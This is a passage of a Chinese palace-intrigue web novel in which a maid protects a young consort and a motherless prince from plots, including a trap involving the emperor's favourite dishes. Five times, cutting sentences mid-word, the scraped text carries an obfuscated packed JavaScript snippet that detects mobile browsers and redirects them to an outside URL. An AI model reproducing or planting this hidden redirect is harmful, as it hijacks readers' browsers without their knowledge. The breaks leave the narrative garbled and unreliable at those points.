皇后心慈，并未摆那些严苛的规矩，免了后宫妃嫔日日晨昏定省之劳，只叫大家每逢初五再去请安，这是莫大的恩典。 可到了次日清晨，吴玉瑶还是一身素净得体的宫装，领着如月和千雪去了凤仪宫门前，果不其然，皇后身边的大宫女客客气气的将她们拦了，只道皇后懿旨，新入宫妃嫔当安心休整，心意领了，不必急于请安，吴玉瑶规规矩矩地谢了恩，便带着人又折返庆祥宫。 日子便这样，在小心翼翼的试探和安静中度过了开头几日。 每日里无非是熟悉自己宫里的下人行止，规矩，料理一些琐碎的宫中份例事务，查看各处送来或收进的账目。 庆祥宫像一只初初泊入陌生水域的小船，磕磕碰碰，总算是找到了一点惯常的节奏。 外面的情形，多少也听底下人提过几耳朵，虽依旧隔着一层迷雾，但起码不再是第一日那般，眼前摸黑，手足无措地站在门栏边上，不知下一步该先迈哪只脚了。 小橘立在廊下，背脊努力绷直了些，正低声指点两个新来的小宫女清扫庭院角落的规矩，如今也算摸着些门道，开始接手管带新人了。 门帘微掀，如月悄步进来，她按规矩对吴玉瑶行了礼，目光转向侍立一旁的千雪，开始汇报： “娘娘，南三宫那头有消息了，张嬷嬷连着几天，悄悄见了翠微宫的，对方是淑妃娘娘身边那个夏姓内监。” “这消息是殿下身边的宫女巧兰回的，她说张嬷嬷这段时间老在殿下面前怀念贵妃，谈及娘娘您，言语间多挑拨之意。” 翠微宫，那是淑妃的地界。 “人盯住。”吴玉瑶只淡淡给了三个字。 “是。”如月应声退下。 暖阁里一时静默，吴玉瑶看着盏中沉浮的叶片，淑妃这位宠冠后宫的娘娘，出身虽不算顶尖显赫，却占尽了皇恩圣眷，听闻生的好相貌。 偏偏入宫多年，未能诞下一儿半女，宫里如今统共三位皇子：先贵妃吴玉华留下的皇长子萧曜，贤妃膝下的二皇子萧旭，以及皇后嫡出的三皇子萧晁。两位公主，一位由皇后所出，另一位生母赵嫔，淑妃瞧着别宫孩子，心里那份难熬，恐怕难以言说。 千雪抬眼看向吴玉瑶，将心中所虑道出： “淑妃娘娘这般急切地伸手到张嬷嬷身上以她得宠的架势，又膝下空空多年，看着贤妃娘娘和皇后娘娘都有皇子傍身，怕不是眼热得很？想借机把没了生母的大殿下拢到跟前？也好名正言顺地得个皇子养母的身份。” 皇后有嫡子嫡女坐稳东宫，贤妃有皇子承欢膝下，连位份低些的赵嫔也有个公主。淑妃占尽圣宠，膝下荒凉，如今对着失母且身份贵重的皇长子伸手，倒是说得过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174474|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴玉瑶搁下杯盏，目光移向窗外那四四方方的被高墙框住的天空。 这宫里的水，瞧着还算平静，底下却不知正被哪只脚踢腾着，等着翻起泥沙来。 吴玉瑶靠坐在软榻上，手里慢慢拨着茶盏盖儿，过了半晌才看向侍立在一侧的千雪，声音放轻了些，说的是件压在心底的事： “前两日，如月来跟我禀事……”她顿了顿，眼神落在袅袅升起的热气上，“她说起一事，道我此番入宫，实是大姐姐临终的意思。她咽气前，唯独挂记不下曜儿。” 吴玉瑶的手指无意识地摩挲着光滑的杯壁，声音里带着一丝不易察觉的沉重和无奈： “大姐姐在时，恩泽深厚，国公府一门荣耀，便是我，也受了不少益处，如今……”她抬眼看向千雪，目光恳切，“曜儿年纪太小，我身处此位，终究不能时时看顾到他身边，你……” 她将茶盏轻轻放在小几上，直直望着千雪： “得空就替我多照看照看他，记着点，张嬷嬷这样的人跟在他身边我不放心，要想个办法处理了。” 千雪心头一紧，立刻垂首应道：“是，主子，奴婢明白了。” 她当然明白，这是吴玉瑶对她最大的信任，吴玉华的死，带走了萧曜生母的庇护，也牵动着整个吴家的命运。 而那个张嬷嬷，千雪脑子里立刻闪过那张看似忠厚却眼神闪烁的脸。她暗暗咬牙绝不能让那老东西把人带歪了！殿下年纪小，心思又重，经不起那些暗地里的挑唆。 自那日起，只要庆祥宫这边的事务略得了空，千雪就往南三宫那片皇子住所去。有时是借着替吴玉瑶送几样不打眼的应季果子，有时只在外头悄悄转一圈，跟守门的宫监或是路过的洒扫婆子随意攀谈几句，目光却总似无意地扫向萧曜那处宫室的方向和进出的人影。 她没什么大动静，却像一片安静的影子，开始频繁不动声色的融入了萧曜居所的宫墙之下。 64.第六十四章 萧芙 午后的南三宫静悄悄的，日头晒得青石板有些晃眼，千雪走到萧曜住处的宫门口，没直接进去，目光落在院子里那个在廊下阴凉处拿着树枝划拉地面的小小身影上。 她走了进去，在离萧曜几步远的地方停下。 “殿下，”千雪开口，声音平稳。 萧曜没抬头，只是手里的树枝划得更用力了，在泥地上戳出一个个小坑。 “那日的桂花栗子糕，您后来尝着味儿了吗？”她问，像是随意提起一件旧事。 萧曜的动作猛地停住，后背僵了一下，还是不吭声，头垂得更低。 千雪看着他微鼓的侧脸，心中了然：“奴婢猜，是不是有人说什么了，您觉得心里膈应，就没敢吃了？”她顿了顿，才接上前一句的尾音，“这样可不算听话。” 萧曜唰的转过脸来，小脸上怒气冲冲：“大胆！你算什么身份，敢说本皇子不听话？！”声音拔得老高，带着孩子气的斥责。 千雪没被他的怒火吓住，反而上前了半步，直接蹲了下来，让自己的视线能与他持平。她看着他那双带着怒火却也隐含着委屈和不安的眼睛，突然问道：“殿下觉得，这世上，如今待您最好的人，是谁？” 这问题来得突兀，萧曜被问得一怔，茫然了片刻，随即一种近乎本能的的回答冲口而出带着浓重的哭腔： “自然是母妃！” 他吼出这句话，小小的胸膛剧烈起伏着，那双眼睛瞬间蒙上了一层水汽，像受了天大委屈又极力忍着不掉泪。他口中的母妃，是这个孩子心中唯一的光明和温暖。 千雪静静看着他，廊下的风似乎都凝住了。她不需要再追问一句“为什么觉得新娘娘不好”，这个回答本身就是答案。 那最好的人早已不在，其他所有人，无论谁做什么，在萧曜的心里，都永远无法企及那个位置，包括那个随母妃意愿安排过来的“新娘娘”。 她没有再说话，只是这样安静地看着他，任由那份思念和巨大的失落感在孩子的沉默中弥漫开来。 千雪没有立刻开口劝慰，只是维持着蹲身的姿势，目光沉静地落在他紧绷的小脸上，过了片刻。 “殿下还记得很小很小的时候吗？小到……只能被抱着，连坐都坐不稳当。” 萧曜抬起湿漉漉的眼睛，充满戒备和不解的看着她。这问题太奇怪了，他哪能记得那么小的事？ 千雪的目光飘得很远，声音也放得更轻缓：“奴婢在国公府时，听伺候过您母妃的老人们提过几句。说殿下刚出生那些日子，贵妃娘娘身子很是虚弱，奶水总是不足，殿下饿得哭，嗓子都哑了。”她顿了顿，目光重新聚焦在萧曜困惑的小脸上，“那时候，殿下您……小小的奶呼呼的，是谁整宿整宿抱着您，哄着您？” 萧曜皱紧了小眉头，下意识地顺着她的话去想抱着？他脑中一片模糊，只有一种很遥远，很温暖的，带着某种特殊味道的感觉一闪而过。 “自然是张嬷嬷，那时她是您的乳母，是除了贵妃娘娘，离您最近，日夜照顾您的人，那时候，她抱着您，想必也是真心想护着您，怕您饿着，冻着，不舒服了，那份心，是真的。” 萧曜怔住了，他从未从这个角度想过张嬷嬷和他的关系，母妃离世后，张嬷嬷对他好似乎是天经地义的。 “那后来呢？”她的目光落在萧曜脸上，“后来殿下慢慢长大了，嬷嬷她……还像从前那样，事事都替殿下想着，生怕有一点不好吗？比如……殿下如今正是长筋骨的时候，厨房送来东西，嬷嬷她是怕殿下胃口不好，换着法子劝您多吃几口？还是……”她的声音微不可查地顿了一下，“……像那桂花糕一样，劝着您别沾荤星，怕药着您？” 萧曜的小脸瞬间僵住，一些画面和声音猛地涌上来。他闹脾气不肯吃饭，张嬷嬷在旁边“唉声叹气”，偶尔劝两句也是“殿下随意吧，仔细回头闷住不舒坦”，“娘娘在时就少荤腥，您也合该清淡些好养身子”便不在管他。 这念头一冒出来，他就觉得张嬷嬷对他似乎是和以前不一样了。 “殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184633|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下是个聪慧孩子。”她淡淡地说了一句，“时间久了，事情做多了，人心隔着肚皮，却总能在细枝末节里露出痕迹。有些话听个三分就够了，有些人她嘴里说的和她手里做的，未必能画上等号。殿下想想，她哄着您别碰那些东西时，是真的忧心您的身子骨，还是她自己心里先有了别的计较？” 说完这些，千雪没等萧曜反应，略一屈膝，声音依旧平静：“奴婢告退，殿下自己多想想吧。” 她转身离开，步子和来时一样稳当，没有迟疑，萧曜居然有种想喊住她的冲动，阳光把她的影子拉长又缩短，最后彻底消失在宫门外。 院子里重新只剩下萧曜一个人，风吹过空荡的回廊他小小的身体还僵在原地，手里的树枝不知何时掉在了地上。 千雪刚迈出萧曜宫室的院门，正准备沿着青石宫道离开，迎面就见一个小人影风风火火的跑了过来，身后不远不近的缀着两个急急追赶的宫女。 来人是大公主萧芙，她比萧曜只小了几个时辰。 千雪忙侧身避开，微垂了眼立在道旁行礼：“奴婢给大公主请安。” 大公主脚步顿都没顿，像只灵巧的小鹿，清脆应了句：“起来吧！”声音还带着点微喘。 人一阵风似的就从千雪身边擦了过去，直接奔萧曜的宫室去了，熟稔得如同进自家后院，蹦蹦跳跳拉着萧曜的手缠着他出去玩，那俩宫女也赶紧跟了进去。 千雪直起身，望着公主消失的背影，眉峰几不可查地蹙了一下，心里转了个弯：宋皇后和贵妃娘娘当年几乎是同时有孕，后同一天生产，贵妃诞下皇长子几个时辰后，皇后生下大公主。两位地位最高的娘娘在那个十月里临盆，当时的后宫是何等情形？想必也是风波暗涌。 这种渊源，按理说，皇后心中不会毫无芥蒂，那身为皇后的嫡长女，大公主与萧曜的关系，就算不是水火不容，也该是淡淡之交才对，怎么会这般随意亲近？ 这很不寻常，千雪心里记下这点疑问，脚下没停，继续往庆祥宫方向走。 65.第六十五章 痘疹 路过一处花圃转角，她脚步缓了缓，侧头看向紧紧跟在身后，大气不敢出的圆珠。 “圆珠。” “在。”圆珠赶紧应声。 “你进宫早些，可知道大公主的事儿？她不是该在凤仪宫由皇后娘娘亲自教养吗？怎么搬出来住了？”千雪问得直接。 圆珠没想到会被问到这个，愣了一下，才带着点小心的口吻，结结巴巴回道：“是，是三年前的事了，大公主，主意特别大，闹着非要自个儿出来住。皇后娘娘拦不住，后来就，就让她住到南三宫那处新收拾出来的小殿里了。”她说完，缩了缩脖子，像怕自己多嘴。 “主意大……”千雪重复了一遍这三个字，眼神若有所思，一个能拗过中宫皇后，非要在单住的主意大。这位大公主，看来也不只是看起来那般简单活泼，她把这点也默默记在心里，没再多问，迈开步子继续往回走。 千雪刚迈进庆祥宫的门槛，脚步就顿住了，院子里气氛不对，廊下，小橘正急得团团转，小脸皱成一团，手指头都快把衣角拧破了。 “出什么事了？”千雪几步走过去。 小橘像见了救星，一把抓住千雪的袖子，声音都带了哭腔：“千雪姐姐！不好了！如月姐姐，还有萍儿，小满她们身上都起了好大的红疙瘩！又红又肿，痒得不行！太医来看过了，说是像是会过人的痘疹！已经让人挪出去了！挪到西边那个空院子里去了！” 千雪心头一沉痘疹？挪人？她目光锐利地扫过小橘惊慌的脸，立刻追问，“挪了谁？具体都有谁？” “如月姐姐，萍儿，小满，还有管小厨房的金婆嬷嬷……”小橘掰着手指头数，声音发颤。 这几个名字像一串珠子，瞬间在千雪脑子里过了一遍。如月不说，其余几人是当初贵妃娘娘还在时就在庆祥宫伺候的二等宫女，萍儿手脚麻利，管着库房钥匙，小满是贵妃娘娘院里专管花木的小丫头，性子安静，金嬷嬷更是贵妃娘娘小厨房的老人了，一手炖汤的本事。 千雪的眼神骤然冷了下来，她没再问小橘，心里已经雪亮，萍儿，小满，金嬷嬷，挪出去的，病了的，全是贵妃娘娘留下的旧人！ 宫里的手段这就迫不及待地砸过来了？ 谣言像长了翅膀，没两天就飞遍了宫墙角落。“庆祥宫那位新主怕是身上带着晦气”，“进宫门的头几天，跟了多年的老宫人就起恶疹挪了出去，不吉利”，“沾惹不得”窃窃私语如同蚊蝇，嗡嗡的围了上来。 小橘气得脸发红，趁着给千雪送茶点的空档，小声抱怨，“外头那些人嚼舌根，说得可难听了！” 千雪正翻着份新到的份例单子，嗯了一声，那些恶言不过清风过耳，她把单子合上，目光转向小橘： “不用管外头那些风刮来的东西，小橘，你从今日起，手上的活计暂放一放，精力挪出来，把小厨房那边盯住了。人手进出，领的物料，每日采买的肉菜果子，都仔细过眼。” 小橘一愣，“小厨房？” “嗯，”千雪点头，目光沉凝，“病挪出去的那些，虽是旧日宫人，却各有根底。如月管着宫务，金嬷嬷把着小厨房的灶台要害这两人连同各自同屋的萍儿和小满都中了招。”她顿了顿，手指在桌沿轻轻一点，“这下手的人，挑人挑得精细啊。” 小橘顺着千雪的话一想，猛地倒吸一口凉气，脸都白了半截，“姐姐是说他们弄病金嬷嬷和如月姐姐，是想，是想在这两处下手？！” 千雪没直接答是或不是，只看着她，“不管是不是，要害之处，宁可看得紧些。” 小橘被那眼神一激，立刻挺直了背脊，用力点头，“姐姐放心！我一步不离地守着灶火！眼珠子都睁得老大！” 千雪这才略略颔首，“去吧，记着，少说多看。” 小橘领命，转身快步去了，背影透着一股子紧绷。 千雪的目光缓缓转向窗外，定在了庆祥宫小厨房的方向。那灶上的烟火气，此刻在她眼中，也带上了刀光剑影，入口的东西是最容易出事的。 谣言像是墙角里阴湿的苔藓，无声无息的蔓延着，兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190819|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是这流言传得有些不像话，又或是陛下也觉着太过冷落新人，在一个安静得几乎没有风响的午后，庆祥宫的门前，来了宣旨的内侍。 “陛下口谕，今夜摆驾庆祥宫。” 这句话落地的瞬间，沉寂的庆祥宫仿佛活了过来。 虽然每个人都尽量压着动静，但那种陡然亮起的眼神，匆匆交换的喜悦，以及强作镇定的忙碌，立刻涌动开来。 传旨的内侍又低声补充了一句：“陛下在勤政殿用过晚膳再来，娘娘不必费心备膳了。” 吴玉瑶坐在内室，手里原本端着的半盏茶停在了唇边，又缓缓放下。指节微微收紧了些，该来的，总会来，只是这心，终究还是不受控地跳快了几拍。 小橘正一头热汗在小厨房盯着火，她面前的灶上，一只精巧的陶锅正咕嘟咕嘟的滚着雪白粘稠的粥，雪梨杏仁粥。甜香的气息弥漫了一小片，听说这是陛下素日喜欢的。 小厨房的门帘被急急掀开，负责通传的宫女探头喊道：“小橘！娘娘吩咐，备几样菜和点心就行！” “知道了！放心我备的都是陛下喜欢的！”小橘扬声应了，手下更麻利的开始处理案板上的食材。 刚走近厨房门边的千雪，恰好听到这话，她目光扫过那锅冒着热气的雪梨杏仁粥，又看了看小橘手边正切好的几样新鲜时蔬和精致模具，脚步停住，问了一句：“雪梨杏仁粥？还有这些细点……你怎知陛下喜好这些？” 小橘手上动作不停，头也没抬，顺口道：“桃雨告诉我的！她说陛下以前常点雪梨羹和几样清淡的小点。我怕她记不清，前几日去御膳房领份例时，还特意找里头相熟的杂役小公公又打听了一耳朵，都说陛下近来确实喜欢这几样口味，没错的。” 千雪的眼神在锅灶的热气后面凝了凝，桃雨，御膳房杂役，她目光落在那些精致得过分，显然需要提前准备模具的点心半成品上，没再多言，只道：“粥好了么？小心火候。” “快了快了！”小橘应着，注意力全在即将完成的点心上。 66.第六十六章 禁忌 千雪转身退开，没进厨房，她站在廊下，看着院子里为接驾忙碌穿梭的宫人身影，那些原本应该被喜悦淹没的细微声音，铜壶滴漏的水声。 远处宫女低低的轻点摆放的催促，食盒盖子阖上的微响，此刻在她耳中，都压不过心头聚拢的阴云。 桃雨透的消息，从御膳房杂役打听来的消息，陛下确凿的喜好，偏偏这时候被挪出去的如月和金嬷嬷，背后绝对藏着事情。 趁着满宫人都被接驾的兴奋拢住心神，千雪悄无声息的绕到后廊，避开眼目，溜出了庆祥宫。 她脚步迅疾，直奔西边那处临时安顿染病人的偏僻小院，如月和金嬷嬷都在这院子里养着，千雪塞了点碎银子给守门的婆子，推门就进了关着如月的那间屋。 屋里弥漫着一股淡淡的药味，如月独自靠在床头，脸上和胳膊上还盖着几块新换的湿毛巾，遮着下面的红疹，精神头看着比前两日稍好些。骤然见千雪进来，惊得一把抓下脸上的湿巾子：“千雪？！你……你怎么来了？！可是庆祥宫出了事！” 如月知道吴玉瑶倚重千雪，她下意识想到是庆祥宫出事了。 “嘘！”千雪反手掩好门板，几个箭步冲到床前，没有半句寒暄，开口就直奔主题：“我来问你！雪梨杏仁粥，还有几样精致小点，栗子酥，桂花藕粉冻，清炒玉兰片！这几样东西陛下当真是在庆祥宫常用，或是特别喜欢的吗？” 如月被这没头没尾的话砸懵了，可看到千雪眼底焦灼和凝重，她脑子一个激灵，瞬间明白过来，庆祥宫怕是要出大事了！ “雪梨，雪梨杏仁粥？”如月深吸一口气，强压心悸，努力回想，“粥陛下是喜欢的！宫里都知道，太后娘娘熬得一手好雪梨粥，各位娘娘包括早年咱们贵妃娘娘，都常备着熬好送去文政阁奉给陛下，这个……错不了！” 千雪眉头拧紧：“那，另外那几样小点呢？栗子酥，藕粉冻？玉兰片？” 如月脸色发白，声音也急了几分：“点心陛下的口味这些年偶有变化，但……”她猛地抬头，盯着千雪，“但是！咱们娘娘她，贵妃娘娘她从来！从来不给陛下送这些！” “你说清楚！什么叫从来不给陛下送这些？！” “我不清楚！我……我是在三年前才调进庆祥宫的！”她气息急促地解释着，“那时候贵妃娘娘病了，身边原先近身伺候的老人，说是伺候不力，轻的撵出去，重的听说有打杀的！人手空了我这才从司苑局被临时扯过来补缺。” 她深深喘了口气，“我刚来那会子，庆祥宫的牌匾光鲜得晃眼，可里头的芯子总觉着空落落的，缺了股顶热乎气儿！至于陛下，陛下？我就没见陛下在庆祥宫用过膳！一顿都没有！娘娘也未曾送过吃食物给陛下。” 难怪！难怪总觉得哪里不对！ 如果，如果陛下连庆祥宫的门都很少登，连一顿饭都没在这里吃过，何来“陛下在庆祥宫时喜欢这几样小菜点心”？ 桃雨那所谓的消息，还有御膳房根本就是一个挖好的陷阱！正等着吴玉瑶在侍寝之夜，将这碗合陛下心意的雪梨杏仁粥和陛下喜好的小点心亲手端过去。 恐怕这雪梨杏仁粥是庆祥宫的禁忌，而新入宫的吴玉瑶并不知晓。 而设计如月和金嬷嬷得疹子被挪出去就是怕两个在庆祥宫待久的老人意识到问题。 千雪转身就要走，手腕却被如月猛地攥住，那手冰凉，带着药味，力气却大得惊人。 “千雪！”如月的声音又急又哑，“我知道！你心里也疑我！这没错！这深宫里，疑人才能活！”她喘了口气，布巾滑落一半，露出骇人的红点，“可我对着贵妃娘娘的在天之灵起誓！娘娘待我，是再造之恩！是她把我从泥坑里拉出来，给了我活路！害她？害她妹妹？！”她声音嘶哑，“我宁可剜了自己的心！也绝不做这等畜生不如的事！信我！” 千雪手腕被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196945|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥得生疼，却没挣开。她看着如月那双布满血丝的眼睛，里面不见一丝虚假。千雪的眼神扫过，只一瞬。 “信。”她吐出一个字，“你要真反了，背后那人何必费劲挪你出来？” 留她在里头带病伺候，岂不更添乱？挪她，恰恰因为她多余了。这话，不必明说。 她猛的抽回手：“我得走！”话音未落，人已冲出屋门。 屋外天光大亮，那守门的婆子早没了踪影。千雪直奔院门，两扇厚重的老木门紧紧闭着，一根粗大的黄铜门栓，横插在门外！ 门被反锁了！那老婆子，消失得正是时候！ “该死！”千雪心头一沉，对方不仅盯着庆祥宫，连她这个出来寻如月的，也落进了网里！这庆祥宫果真从上到下，漏成了筛子！ “千雪！门锁死了！”如月踉跄着跟出来，扶着门框，看到门栓，脸刷地惨白，“这，这可怎么……”声她们俩出不去的话，误了时辰，宫里…… 话没说完，只见千雪猛地转身，目光扫过院墙，那墙不算太高，青砖斑驳。 没有丝毫犹豫！她疾退两步，退到墙根丈余开外，紧接着脚尖发力，猛地蹬地前冲！一步！两步！第三步重重踏在墙角一块微凸的青砖上，借着这股冲力，身体轻捷地向上急拔！腰身在半空一拧，双臂已攀上墙头！她动作不停，手臂发力一撑，腰劲一带，整个人如同灵巧的狸猫，轻巧迅捷的一个翻身！ 裙裾在空中划过一道弧线。 人已稳稳落在墙头！ 动作干净利落，快得只在眨眼之间！ 院门内的如月，嘴巴还张着，眼珠子瞪得溜圆，千雪她，她居然会功夫？！ 墙头上的千雪，连头都没回。目光只朝庆祥宫方向一掠，脚尖在墙头瓦片一点，身影瞬间消失在院墙另一侧。只留下空荡荡的偏院，和被锁在门内的如月，目瞪口呆地望着那还在微微晃动的墙头杂草发愣。 67.第六十七章 萧曜又闹 千雪几乎是脚不沾地地冲回庆祥宫，直奔小厨房。灶火正旺，小橘正小心翼翼地将几碟精致得晃眼的小点往描金边的细瓷盘里摆。 那锅雪梨杏仁粥也温在灶上，甜香四溢。 “小橘！”千雪的声音急迫，一步跨进门槛，“这些！都撤了！一个不许上！” 小橘手一抖，差点把一块藕粉冻碰歪了，她抬头，撞上千雪的眼神，心头猛地一沉，想问的话在舌尖打了个转，硬生生咽了回去。 最终她什么也没问，只飞快地应了一声：“是！”立刻动手，麻利地将那几碟刚摆好的点心连盘端起，毫不犹豫地塞回食盒底层，又盖上盖子。灶上那锅粥，也被她利落地挪到角落，盖上厚棉垫子保温，但显然已不在呈送之列。 “现在，”千雪语速极快，目光扫过灶台，“你立刻动手，做几样最家常的小姐在家时最爱吃的那几样小菜！清炒个时蔬，蒸条鲜鱼，再炖个蛋羹！快！还有……”她目光落在案板角落，“那日做给大殿下的桂花栗子糕，我记得还有剩的粉料？立刻蒸一碟出来！” “明白！”小橘二话不说，立刻转身，动作快得像上了发条，洗菜，切菜，点火，一气呵成。那碟桂花栗子糕的材料她熟稔于心，手脚更是麻利。 千雪略松了口气，转身快步走出厨房。她目光如电，迅速在院子里扫视，很快锁定了正低头擦拭廊柱的圆珠。 “圆珠！”千雪声音不高，却带着一种沉甸甸的分量。 圆珠立刻放下抹布，小跑过来，垂手站定：“千雪姐姐。” 千雪看着她，眼神平静却深不见底：“你跟我这些日子，我看着你，是个稳当的。”她略顿一下，声音压得更低，“眼下有件要紧事，需得你上心盯着桃雨那边，你寸步不离地跟着她。看她做什么，听她说什么，见了什么人，都记在心里。若是……”她微微倾身，声音带着一种蛊惑“……若是你办得妥当，娘娘跟前，我自会替你说话。这庆祥宫里头，往后能担事儿的位子，少不了你的份。” 圆珠的眼睛瞬间亮了起来，呼吸都急促了几分。她知道这是个机会，一个天大的机会！她猛的点头，声音激动：“姐姐放心！我……我一定死死盯住桃雨！绝不让她离开我眼皮子底下！” “去吧。”千雪点头。 圆珠立刻转身，脚步匆匆的去找桃雨了。 千雪定了定神，快步走向吴玉瑶所在的内室暖阁。她得把方才探知的事，自己的猜想赶紧禀报娘娘！刚走到门口，帘子一掀，吴玉瑶正由宫女伺候着整理鬓边一支珠钗。 “娘娘……”千雪刚开口。 “陛下驾到——！”外面一声高亢的唱喏，响在庆祥宫上空！ 吴玉瑶整理珠钗的手猛地一顿。 千雪心头一沉，知道来不及细说了。她一步上前，凑近吴玉瑶耳边：“娘娘，备了几样家常小菜和糕点。陛下若提，便呈上，若不言，万勿主动开口提及吃食，切记！” 吴玉瑶眼中闪过一丝极快的惊诧和困惑，但看着千雪眼中的凝重，她只是极轻微地点了一下头，她什么都没问，只用一个细微的动作表示：知道了。 暖阁外，脚步声，已经踏上了庆祥宫正殿的石阶。 千雪迅速退到吴玉瑶身后侧方，垂首侍立，眼观鼻，鼻观心，仿佛刚才的一切从未发生过。 殿内灯火煌煌，熏香袅袅。吴玉瑶宽大的宫装袖袍下，指尖却微微蜷着，千雪垂首侍立在她身后侧方，眼角的余光紧紧锁着门口。 沉稳的脚步声由远及近，带着一种无形的威压。内侍躬身掀开锦帘，一道明黄色的身影踏入殿内。皇帝萧琰，面容沉肃，目光如古井深潭，看不出喜怒。他并未多看吴玉瑶，径直走向主位落座。 “臣妾恭迎陛下。”吴玉瑶起身，盈盈下拜，声音清越，听不出半分波澜。 “免礼。”萧琰的声音平淡无波。他目光扫过殿内，最终落在吴玉瑶身上，停留片刻，又移开。 宫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201841|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉上香茗，萧琰端起茶盏，慢条斯理地的撇着浮沫。时间一点点流逝，茶盏里的热气渐渐淡了。萧琰终于放下茶盏。 “入宫一月，可还习惯？”他开口，声音依旧平淡。 “回陛下，宫中诸事皆好，皇后娘娘仁厚，多有照拂。”吴玉瑶垂眸应答。 又是一阵沉默，萧琰的手指在桌面上轻轻敲击了两下。 “国公府……近来可好？”他问道，目光似乎落在虚空处。 “劳陛下垂询，家中一切安好。”吴玉瑶谨慎答道。 “嗯。”萧琰应了一声，听不出情绪。他的目光缓缓扫过殿内陈设。 “朕就是来看看你，夜深了。”萧琰站起身，明黄色的袍袖拂过桌面，“你早些安置吧。” “臣妾恭送陛下。”吴玉瑶立刻起身下拜。 萧琰起身，正要离开。 “父皇！父皇——！” “殿下！殿下您不能进去！陛下在里面！” “放开我！我要见父皇！” 哭喊声和宫人惊慌失措的劝阻声一起响起！一个小小的身影，带着一股蛮牛般的冲劲，挣脱了阻拦的宫人，冲进了灯火通明的殿内！ 正是萧曜！ 他小脸绷得紧紧的，带着一股孩子气的执拗，眼睛直勾勾地盯着正要离去的萧琰，又狠狠剜了一眼吴玉瑶，小嘴一撇，眼看就要说出什么不中听的话来！ 就在这时，千雪的身影从吴玉瑶身后闪出！她一步抢到萧曜面前，堪堪挡住了他瞪向吴玉瑶的视线，同时微微屈膝，声音清脆响亮，截断他接下来要说的话： “殿下？您怎么这时候过来了？”她语速飞快，“莫不是……闻到小厨房刚蒸好的桂花栗子糕的香气了？您最爱吃这个了！奴婢正想着晚些给您送过去呢！” 她之所以要小橘做这个桂花栗子糕就是想着万一萧琰主动开口要吃点什么，上了这个糕，吴玉瑶可以借着大皇子也喜欢吃寻些话头和萧琰聊天。 68.第六十八章 萧曜心思 千雪蹲下身，伸手替萧曜整理跑动后略显松垮的衣摆。借着弯腰低头的姿势，她的指尖探入萧曜锦袍的袖口边缘，在他中衣柔软的袖子上，用力拽了一下。动作又小又快，旁人大约察觉不到，却是个无声的暗示：别急，别闹。 萧曜显然感觉到袖中的拉扯，他拧起眉头，那双酷似他父亲的眼睛里刚燃起暴躁和怒火，眼看就要发作。 就在这关口，萧琰的声音在门口响起，声音带着一丝若有似无的笑意： “呵，”萧琰的目光停在儿子绷紧的小脸上，“朕倒不知道，朕这曜儿，何时变得这样贪嘴了？” 少年的脸皮一下子红透了，一直红到耳朵根，他梗着脖子，对着父亲也只硬邦邦挤出两个字：“父皇……”声音里憋着气。 “行了，”萧琰似乎并不想深究，对旁边侍立的宫人挥挥手，“饭既然备好了，就端上来吧。”他说完，走向主位坐下。 